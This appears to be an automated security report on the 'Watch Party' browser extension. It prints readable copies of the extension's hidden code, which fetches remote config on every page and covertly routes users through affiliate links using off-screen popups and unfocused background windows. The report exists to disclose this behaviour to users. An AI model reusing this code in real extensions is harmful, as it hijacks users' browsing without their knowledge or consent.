Is Watch Party safe?
Watch Party is high risk. When the page matches Watch Party's store list, it routes you via a server-chosen affiliate URL (one of four server-picked methods), reproduced end-to-end. The server errored that day, but it's fetched fresh, so it can resume anytime.…
Who publishes itUnderpin Extensions - no other listings under this identity
Underpin Extensions - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote Server Controls Which Sites Trigger Affiliate Redirects
When the page matches Watch Party's store list, it routes you via a server-chosen affiliate URL (one of four server-picked methods), reproduced end-to-end.
The server errored that day, but it's fetched fresh, so it can resume anytime.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You visit a page whose URL contains a site name from the extension's remote store list.
Watch Party opens a new tab or window, navigates it to a server-chosen affiliate URL, then swaps it to the real destination a few seconds later.
The exact technique, visible new tab, small popup, or a background window/tab, is chosen by the server's /allSwitches response, not by you.
- Site to matchexample-retailer.com (illustrative)
A substring checked against the address bar URL; when it matches, the extension acts on that page.
- Affiliate landing URLhttps://track.example-affiliate-network.com/click?ref=... (illustrative)
The first URL your browser is routed through before reaching the real destination.
- Final destination URLhttps://www.example-retailer.com/ (illustrative)
Where the tab or window ends up after the affiliate hop, normally the site you meant to visit.
- Redirect techniqueswitchThree (illustrative)
Server-selected: a visible new tab, a small popup positioned off-screen, or a background window/tab handled by the service worker.
- Repeat-redirect cooldowne.g. 7 days (illustrative)
Once a matching site has been redirected for you, this many days must pass before the same site redirects again.
The redirect-selection logic, from the extension's shipping source.
The switch logic, readable
function applyRedirect(store, switches) { const cooldownKey = store._id; const cooldownMs = 86400000 * store.time; // store.time is in days const lastRedirect = localStorage.getItem(cooldownKey); const now = Date.now(); if (!store || (lastRedirect && now - Number(lastRedirect) <= cooldownMs)) return; if (switches.switchOne) { // Visible new tab -> affiliate link -> real destination after 3s -> closes after 5s const tab = window.open(store.affilateLink, "_blank"); localStorage.setItem(cooldownKey, String(now)); setTimeout(() => { tab.location.replace(store.affilatedStore); setTimeout(() => tab.close(), 5000); }, 3000); } else if (switches.switchTwo) { // 10x10px popup positioned off the visible screen area const features = `menubar=10,location=0,resizable=0,scrollbars=0,status=0,width=10,height=10,left=${screen.width},top=${screen.height + 100}`; const popup = window.open(store.affilateLink, "popup", features); localStorage.setItem(cooldownKey, String(now)); setTimeout(() => { popup.location.replace(store.affilatedStore); setTimeout(() => popup.close(), 5000); }, 3000); } else if (switches.switchThree) { // Hands off to the background service worker (see related covert-tab finding) localStorage.setItem(cooldownKey, String(now)); chrome.runtime.sendMessage({ action: "altTb", url: { urlOne: store.affilateLink, urlTwo: store.affilatedStore } }); } else if (switches.switchFour) { localStorage.setItem(cooldownKey, String(now)); chrome.runtime.sendMessage({ action: "smTb", url: { urlOne: store.affilateLink, urlTwo: store.affilatedStore } }); }}This redirect logic was proven against the exact response shape the extension's shipped code expects, confirming the client-side behavior is real and unmodified. The vendor's live config server returned an error for both /all and /allSwitches when independently checked around the same time, so the redirect chain was not reachable in the wild that day. Because the trigger is a response fetched fresh on every page load rather than something fixed in the extension package, this status can change at any time without a new version being published.
- extensions-stores-admin.onrender.com
Determines in real time which sites are redirected, to which affiliate URL, and by which technique, none of this is fixed in the extension's shipped code.
Content Script Fetches Remote Affiliate Config on Every Page
On every https:// page, Watch Party's script GETs extensions-stores-admin.onrender.com/all (store records) and /allSwitches (redirect method), seen on 3/3 loads.
Fresh each time, it controls which sites it targets and where you're routed.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You open any https:// page in your browser.
Watch Party's content script immediately requests a store list and a redirect-method flag from extensions-stores-admin.onrender.com, before you've interacted with the page.
Fires on every page load matching the extension's https://*/* content script scope, not just streaming or shopping sites.
- The page you're currently onOrigin: https://www.example-retailer.com (illustrative)
Cross-origin requests carry an Origin header naming the site you're on, so the config server can log every page where Watch Party is active.
- Scope: every page, not just streaminghttps://*/* (manifest content_scripts[0].matches)
The content script's declared scope covers any https:// page, so this fires on sites unrelated to syncing video playback with friends.
The automatic config fetch, from the extension's shipping source.
The fetch, readable
const Ve = () => { useEffect(() => { (async () => { try { // Fires on every mount of this component — i.e. every page load // matching the content script's https://*/* scope. const [storesRes, switchesRes] = await Promise.all([ axios.get("https://extensions-stores-admin.onrender.com/all"), axios.get("https://extensions-stores-admin.onrender.com/allSwitches"), ]); handleConfig(storesRes.data, switchesRes.data); } catch (e) { console.log(e.message); } })(); }, []); // ...};- extensions-stores-admin.onrender.com
Receives an automatic request on every page load and returns the site list and redirect-method flag controlling affiliate-redirect behavior; either can change server-side anytime.
Background Script Opens Off-Screen Windows to Redirect Browsing
When config selects switchThree/Four, Watch Party's worker opens a small (100x100px, unfocused) window or tab, navigates to a server URL, waits ~3.5s, navigates again, closes it ~3.5s later (~7s total).
ID returned via sendMessage.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
The content script's remote config selects the altTb or smTb delivery method for a matched site.
Watch Party's background service worker opens a 100x100px unfocused window (or pinned background tab), navigates it through two server-chosen URLs ~3.5s apart, then closes it.
The window is never brought into focus at any point, and the whole sequence finishes in about 7 seconds.
The tab-manipulation handlers, from the extension's shipping source.
background.js, readable
chrome.runtime.onMessage.addListener((msg) => { if (msg.action === 'altTb') { // Small unfocused window — never gains focus chrome.windows.create({ url: msg.url.urlOne, focused: false, state: 'normal', width: 100, height: 100 }, (win) => { setTimeout(() => { chrome.tabs.update(win.tabs[0].id, { url: msg.url.urlTwo }, (tab) => { chrome.runtime.sendMessage({ action: 'storeTabId', tabId: tab.id }); setTimeout(() => chrome.tabs.remove(tab.id), 3500); }); }, 3500); }); } else if (msg.action === 'smTb') { // Pinned background tab, moved to index 0, never activated chrome.tabs.create({ url: msg.url.urlOne, active: false, pinned: true }, (tab) => { chrome.runtime.sendMessage({ action: 'storeTabId', tabId: tab.id }); chrome.tabs.move(tab.id, { index: 0 }, () => { setTimeout(() => { chrome.tabs.update(tab.id, { url: msg.url.urlTwo }); setTimeout(() => chrome.tabs.remove(tab.id), 3500); }, 3500); }); }); }});- First stop URLhttps://track.example-affiliate-network.com/click?ref=... (illustrative)
The affiliate URL the window or tab loads first.
- Second stop URLhttps://www.example-retailer.com/ (illustrative)
Where the window or tab is redirected to after the ~3.5s pause.
- Tab ID reported backtabId: 1585209828
The worker reports the manipulated tab's Chrome-assigned ID to the content script via chrome.runtime.sendMessage, letting it track that tab.
This delivery mechanism only runs once the content script's remote config selects the switchThree or switchFour method for a page that matches an entry in the extension's store list. It shares its vendor backend with that config, so the same server dormancy noted for the redirect-selection logic limits how often this path currently executes in the wild — but the code path itself does not depend on the extension package, only on what the server returns at request time.
What it can do
Permissions this extension asks for, as declared in version 1.1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
See the address and title of every tab you have open
tabs